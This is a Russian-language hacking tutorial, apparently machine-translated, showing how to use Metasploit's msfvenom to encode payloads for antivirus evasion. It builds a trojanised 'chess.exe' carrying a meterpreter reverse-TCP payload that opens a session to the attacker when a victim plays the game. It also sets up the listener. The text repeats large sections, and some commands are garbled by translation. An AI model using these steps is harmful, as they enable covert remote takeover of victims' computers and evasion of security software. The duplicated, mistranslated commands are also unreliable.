Обход антивирусного ПО и систем обнаружения вторжений — одна из важнейших задач хакера. Как только разрабатывается и обнаруживается новый эксплойт, разработчики антивирусов и систем обнаружения вторжений создают сигнатуру для атаки, которая, скорее всего, будет обнаружена и предотвращена.
Один из очевидных способов обойти эту проблему — разработать собственные эксплойты, и именно этим мы начали заниматься в нашей серии «Создание эксплойтов». Другой потенциальный метод — изменить кодировку, тем самым изменив сигнатуру эксплойта и/или полезную нагрузку .
Раньше для перекодирования полезной нагрузки в Metasploit приходилось пропускать msfpayload через msfencode. Недавно Rapid7, разработчики Metasploit, представили новую команду, которая заменяет громоздкую комбинацию msfpayload и msfencode, упрощая процесс перекодирования полезной нагрузки Metasploit. Давайте рассмотрим её в этом руководстве.
Теперь вместо того, чтобы просто искать сигнатуру закодированной вами полезной нагрузки, они просто ищут сигнатуру шаблона, который Metasploit использует для перекодирования. Таким образом, независимо от того, сколько различных схем кодирования вы используете, шаблон остаётся тем же, и антивирусное ПО сохраняет его сигнатуру.
Но не волнуйтесь, существуют способы перекодировать полезную нагрузку, которые антивирусы всё ещё не могут обнаружить. Скоро я начну новую серию статей о том, как обойти антивирусы, и покажу множество способов, так что следите за новостями.
msf > msfvenom
Давайте рассмотрим некоторые наиболее важные опции из этого списка.
msf > msfvenom -l кодировщики
Metasploit выведет список всех доступных кодировщиков с указанием их рейтинга и описания. Ниже я выделил кодировщик shikata_ga_nai, который мы использовали в предыдущем уроке. Обратите внимание, что shikata_ga_nai имеет рейтинг «отлично».
msf > msfvenom -p <имя полезной нагрузки> -o
Итак, если мы хотим проверить параметры полезной нагрузки windows/meterpreter/reverse_tcp, мы просто вводим:
msf >msfvenom -p windows/meterpreter/reverse_tcp -0
Когда мы это делаем, Metasploit отвечает следующим образом.
Итак, если мы хотим работать с этой полезной нагрузкой, теперь мы знаем, какие параметры нам нужно установить в команде msfvenom.
Я поместил шахматную партию в каталог /usr/share.
Чтобы создать вредоносный исполняемый файл со встроенным windows/meterpreter/reverse_tcp, мы просто вводим:
msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <ваш локальный IP> LPORT=<любой порт, который вы хотите прослушивать> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe
msf >использовать эксплойт/мульти/обработчик
msf > установить полезную нагрузку windows/meterpreter/reverse_tcp
Новая команда в Metasploit, msfvenom, может упростить процесс перекодирования и встраивания полезных нагрузок, но она больше не гарантирует обход антивирусного ПО.
Один из очевидных способов обойти эту проблему — разработать собственные эксплойты, и именно этим мы начали заниматься в нашей серии «Создание эксплойтов». Другой потенциальный метод — изменить кодировку, тем самым изменив сигнатуру эксплойта и/или полезную нагрузку .
Раньше для перекодирования полезной нагрузки в Metasploit приходилось пропускать msfpayload через msfencode. Недавно Rapid7, разработчики Metasploit, представили новую команду, которая заменяет громоздкую комбинацию msfpayload и msfencode, упрощая процесс перекодирования полезной нагрузки Metasploit. Давайте рассмотрим её в этом руководстве.
Краткое замечание о перекодировании полезных данных
Перекодирование полезной нагрузки Metasploit раньше использовалось для обхода антивирусов и других устройств безопасности, но разработчики антивирусного ПО не глупы. Теперь они нашли способы обнаружить даже перекодированную полезную нагрузку Metasploit.Теперь вместо того, чтобы просто искать сигнатуру закодированной вами полезной нагрузки, они просто ищут сигнатуру шаблона, который Metasploit использует для перекодирования. Таким образом, независимо от того, сколько различных схем кодирования вы используете, шаблон остаётся тем же, и антивирусное ПО сохраняет его сигнатуру.
Но не волнуйтесь, существуют способы перекодировать полезную нагрузку, которые антивирусы всё ещё не могут обнаружить. Скоро я начну новую серию статей о том, как обойти антивирусы, и покажу множество способов, так что следите за новостями.
Шаг 1: Запустите Kali и Metasploit
Начнём с запуска Kali и открытия консоли msfconsole. Можно просто набрать «msfconsole» или воспользоваться графическим интерфейсом, перейдя в раздел «Приложения» -> «Kali Linux» -> «10 лучших инструментов безопасности» -> «Metasploit Framework». После этого вы окажетесь в интерактивной оболочке Metasploit.
Шаг 2: Посмотрите параметры MSFvenom
Теперь в командной строке введите «msfvenom», чтобы открыть страницу справки (можно также использовать ключ -h).msf > msfvenom
Давайте рассмотрим некоторые наиболее важные опции из этого списка.
- -p обозначает полезную нагрузку Metasploit, которую мы хотим использовать
- -e обозначает кодировщик, который мы хотим использовать
- -a обозначает архитектуру, которую мы хотим использовать (по умолчанию x86)
- -s обозначает максимальный размер полезной нагрузки
- -i обозначает количество итераций, с помощью которых будет кодироваться полезная нагрузка
- -x обозначает пользовательский исполняемый файл для использования в качестве шаблона
Шаг 3: Перечислите кодировщиков
Кодировщики — это различные алгоритмы и схемы кодирования, которые Metasploit может использовать для перекодирования полезных данных. Metasploit поддерживает множество схем кодирования, и мы можем посмотреть их, выполнив команду:msf > msfvenom -l кодировщики
Metasploit выведет список всех доступных кодировщиков с указанием их рейтинга и описания. Ниже я выделил кодировщик shikata_ga_nai, который мы использовали в предыдущем уроке. Обратите внимание, что shikata_ga_nai имеет рейтинг «отлично».
Шаг 4: Просмотр параметров полезной нагрузки
Мы можем использовать msfvenom для проверки параметров, которые необходимо установить для любой полезной нагрузки, аналогично команде «show options» в консоли Metasploit. Команда для проверки параметров любой полезной нагрузки:msf > msfvenom -p <имя полезной нагрузки> -o
Итак, если мы хотим проверить параметры полезной нагрузки windows/meterpreter/reverse_tcp, мы просто вводим:
msf >msfvenom -p windows/meterpreter/reverse_tcp -0
Когда мы это делаем, Metasploit отвечает следующим образом.
Итак, если мы хотим работать с этой полезной нагрузкой, теперь мы знаем, какие параметры нам нужно установить в команде msfvenom.
Шаг 5: Создайте пользовательский исполняемый файл Windows
Теперь давайте создадим исполняемый файл Windows с использованием шаблона. Хотя мы можем создать полезную нагрузку без шаблона, с помощью шаблона у нас больше шансов обойти устройства безопасности и антивирусную защиту. В данном случае мы будем использовать шахматную игру под названием «chess.exe». Идея заключается в том, что мы встроим полезную нагрузку meterpreter в шахматную игру, и когда жертва откроет игру, чтобы сыграть в шахматы, она откроет сеанс meterpreter в нашей системе.Я поместил шахматную партию в каталог /usr/share.
Чтобы создать вредоносный исполняемый файл со встроенным windows/meterpreter/reverse_tcp, мы просто вводим:
msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <ваш локальный IP> LPORT=<любой порт, который вы хотите прослушивать> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe
- -p /windows/meterpreter/reverse_tcp обозначает полезную нагрузку, которую мы хотим внедрить
- LHOST обозначает локальный хост
- LPORT обозначает порт, который мы хотим прослушивать
- -x обозначает шаблон, который мы хотим использовать, и путь к нему
- -e x86/shikata_ga_nai обозначает кодировщик, который мы хотим использовать
- -i 200 представляет количество итераций
- -f exe обозначает, что мы хотим создать исполняемый файл (.exe)
- chess.exe обозначает имя созданного файла
msf >использовать эксплойт/мульти/обработчик
msf > установить полезную нагрузку windows/meterpreter/reverse_tcp
Новая команда в Metasploit, msfvenom, может упростить процесс перекодирования и встраивания полезных нагрузок, но она больше не гарантирует обход антивирусного ПО.